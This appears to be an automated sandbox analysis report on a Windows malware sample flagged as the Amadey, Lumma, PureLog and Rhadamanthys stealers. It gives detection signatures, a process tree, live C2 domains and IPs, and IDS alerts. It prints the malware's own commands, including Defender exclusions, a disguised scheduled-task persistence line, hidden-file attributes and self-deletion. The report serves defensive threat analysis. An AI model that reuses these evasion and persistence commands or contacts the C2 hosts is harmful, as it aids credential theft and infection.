Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1578014
MD5:	61cb850896f4b6aac18c72e82eb9ac90
SHA1:	c1fcdd242b13e4c5ad99f7e76da886288622b6dc
SHA256:	c2bee3616cf5c0f19ecc5738ee39a8c3d0d0523c2178177b86563d5a3d758d0f
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected PureLog Stealer

Yara detected RHADAMANTHYS Stealer

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Checks if the current machine is a virtual machine (disk enumeration)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Hides threads from debuggers

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

file.exe (PID: 3584 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 61CB850896F4B6AAC18C72E82EB9AC90)

skotes.exe (PID: 7184 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 61CB850896F4B6AAC18C72E82EB9AC90)

skotes.exe (PID: 6692 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 61CB850896F4B6AAC18C72E82EB9AC90)

skotes.exe (PID: 7832 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 61CB850896F4B6AAC18C72E82EB9AC90)

zudFSfy.exe (PID: 8048 cmdline: "C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe" MD5: EF08A45833A7D881C90DED1952F96CB4)

zudFSfy.exe (PID: 2144 cmdline: "C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe" MD5: EF08A45833A7D881C90DED1952F96CB4)

kz8ZdyP.exe (PID: 4916 cmdline: "C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe" MD5: 68C0E4EEFD4C6A76CFF542EF57A49CA2)

kz8ZdyP.exe (PID: 7276 cmdline: "C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe" MD5: 68C0E4EEFD4C6A76CFF542EF57A49CA2)

kz8ZdyP.exe (PID: 7280 cmdline: "C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe" MD5: 68C0E4EEFD4C6A76CFF542EF57A49CA2)

e56fffc2ce.exe (PID: 7320 cmdline: "C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe" MD5: 14BECDF1E2402E9AA6C2BE0E6167041E)

conhost.exe (PID: 7328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4476 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\unrlkpjy" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5064 cmdline: "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

1be411a3d2ff4d5e9f89420f2740d28f.exe (PID: 1464 cmdline: "C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe" MD5: 577CD52217DA6D7163CEA46BB01C107F)

ac68c6b737.exe (PID: 5012 cmdline: "C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe" MD5: C29EB2D3C39A0A808F1910E0E222AC94)

svchost.exe (PID: 1260 cmdline: "C:\Windows\System32\svchost.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

WerFault.exe (PID: 6856 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5012 -s 684 MD5: C31336C1EFC2CCB44B4326EA793040F2)

54326d271c.exe (PID: 3352 cmdline: "C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 3588 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 5272 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 2860 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 4888 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 3488 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 1832 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 3492 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 5212 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 5916 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7536 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 1868 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

in.exe (PID: 3916 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)

attrib.exe (PID: 5624 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 4624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 7716 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 5552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 3452 cmdline: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 1004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6036 cmdline: powershell ping 127.0.0.1; del in.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 6196 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

641d24797a.exe (PID: 4128 cmdline: "C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

conhost.exe (PID: 2132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

641d24797a.exe (PID: 6280 cmdline: "C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe" MD5: 8A9CB17C0224A01BD34B46495983C50A)

Intel_PTT_EK_Recertification.exe (PID: 2812 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Malware Configuration

Threatname: LummaC

{"C2 url": ["grannyejh.lat", "discokeyus.lat", "aspecteirs.lat", "crosshuaht.lat", "necklacebudi.lat", "sustainskelet.lat", "rapeflowwj.lat", "energyaffai.lat", "sweepyribs.lat"], "Build id": "yau6Na--6989783370"}

Threatname: Rhadamanthys

{"C2 url": "https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\1017355001\96ae609d19.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001B.00000002.2975513113.0000000000C1C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2486574208.0000000003543000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000002.00000002.1782523187.0000000000B71000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000002.2579288387.0000000003AB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000009.00000002.2499361350.0000000005A90000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000016.00000002.2756608289.0000000002C00000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000D.00000002.2583286972.0000000005260000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000001B.00000002.2975513113.0000000000C6D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1753888094.00000000007E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.2486574208.0000000003321000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000015.00000003.2737718865.0000000000BF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000015.00000003.2740383178.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000000.00000003.1713621110.0000000004D20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.1741888657.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.2745831377.0000000004D00000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000006.00000003.2282737175.00000000046D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1739503625.0000000004B40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.1780180003.0000000000B71000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.2494620815.0000000004321000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000016.00000003.2741442978.0000000000880000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000015.00000003.2741544851.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000015.00000003.2740579331.00000000051E0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000016.00000003.2745248461.0000000004AE0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: zudFSfy.exe PID: 8048	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: zudFSfy.exe PID: 2144	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: kz8ZdyP.exe PID: 4916	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: kz8ZdyP.exe PID: 7280	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: ac68c6b737.exe PID: 5012	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 26 entries

Unpacked PEs

Source	Rule	Description	Author
9.2.zudFSfy.exe.5a90000.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
9.2.zudFSfy.exe.434d790.5.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
13.2.kz8ZdyP.exe.5260000.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
13.2.kz8ZdyP.exe.3add790.5.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
1.2.skotes.exe.b70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.3.svchost.exe.4d00000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
21.3.ac68c6b737.exe.51e0000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
22.3.svchost.exe.4ae0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
6.2.skotes.exe.b70000.1.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.3.ac68c6b737.exe.4fc0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
22.3.svchost.exe.4d00000.7.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0.2.file.exe.7e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.b70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath "C:\unrlkpjy", CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\unrlkpjy", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe, ParentProcessId: 7320, ParentProcessName: e56fffc2ce.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\unrlkpjy", ProcessId: 4476, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "in.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\main\in.exe, ParentProcessId: 3916, ParentProcessName: in.exe, ProcessCommandLine: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE, ProcessId: 3452, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe, ParentProcessId: 5012, ParentProcessName: ac68c6b737.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 1260, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" Add-MpPreference -ExclusionPath "C:\unrlkpjy", CommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\unrlkpjy", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe, ParentProcessId: 7320, ParentProcessName: e56fffc2ce.exe, ProcessCommandLine: "powershell.exe" Add-MpPreference -ExclusionPath "C:\unrlkpjy", ProcessId: 4476, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Windows\System32\svchost.exe", CommandLine: "C:\Windows\System32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe, ParentProcessId: 5012, ParentProcessName: ac68c6b737.exe, ProcessCommandLine: "C:\Windows\System32\svchost.exe", ProcessId: 1260, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T06:10:00.598029+0100	2028371	3	Unknown Traffic	192.168.2.4	49889	104.21.66.85	443	TCP
2024-12-19T06:10:02.629214+0100	2028371	3	Unknown Traffic	192.168.2.4	49896	104.21.66.85	443	TCP
2024-12-19T06:10:06.259068+0100	2028371	3	Unknown Traffic	192.168.2.4	49904	104.21.66.85	443	TCP
2024-12-19T06:10:09.256260+0100	2028371	3	Unknown Traffic	192.168.2.4	49915	104.21.66.85	443	TCP
2024-12-19T06:10:11.245334+0100	2028371	3	Unknown Traffic	192.168.2.4	49918	104.21.64.80	443	TCP
2024-12-19T06:10:11.463654+0100	2028371	3	Unknown Traffic	192.168.2.4	49922	104.21.66.85	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T06:10:01.388588+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49889	104.21.66.85	443	TCP
2024-12-19T06:10:03.424516+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49896	104.21.66.85	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T06:10:01.388588+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49889	104.21.66.85	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T06:10:03.424516+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49896	104.21.66.85	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T06:10:00.598029+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.4	49889	104.21.66.85	443	TCP
2024-12-19T06:10:02.629214+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.4	49896	104.21.66.85	443	TCP
2024-12-19T06:10:06.259068+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.4	49904	104.21.66.85	443	TCP
2024-12-19T06:10:09.256260+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.4	49915	104.21.66.85	443	TCP
2024-12-19T06:10:11.463654+0100	2058355	1	Domain Observed Used for C2 Detected	192.168.2.4	49922	104.21.66.85	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T06:10:11.245334+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49918	104.21.64.80	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T06:09:18.929929+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49777	185.215.113.43	80	TCP
2024-12-19T06:09:29.022935+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49802	185.215.113.43	80	TCP
2024-12-19T06:09:39.398379+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49832	185.215.113.43	80	TCP
2024-12-19T06:09:48.309941+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49854	185.215.113.43	80	TCP
2024-12-19T06:10:00.503455+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49888	185.215.113.43	80	TCP
2024-12-19T06:10:07.272105+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49908	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T06:09:59.035230+0100	2058354	1	Domain Observed Used for C2 Detected	192.168.2.4	54369	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T06:10:09.606669+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.4	58687	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T06:10:09.378332+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.4	53237	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

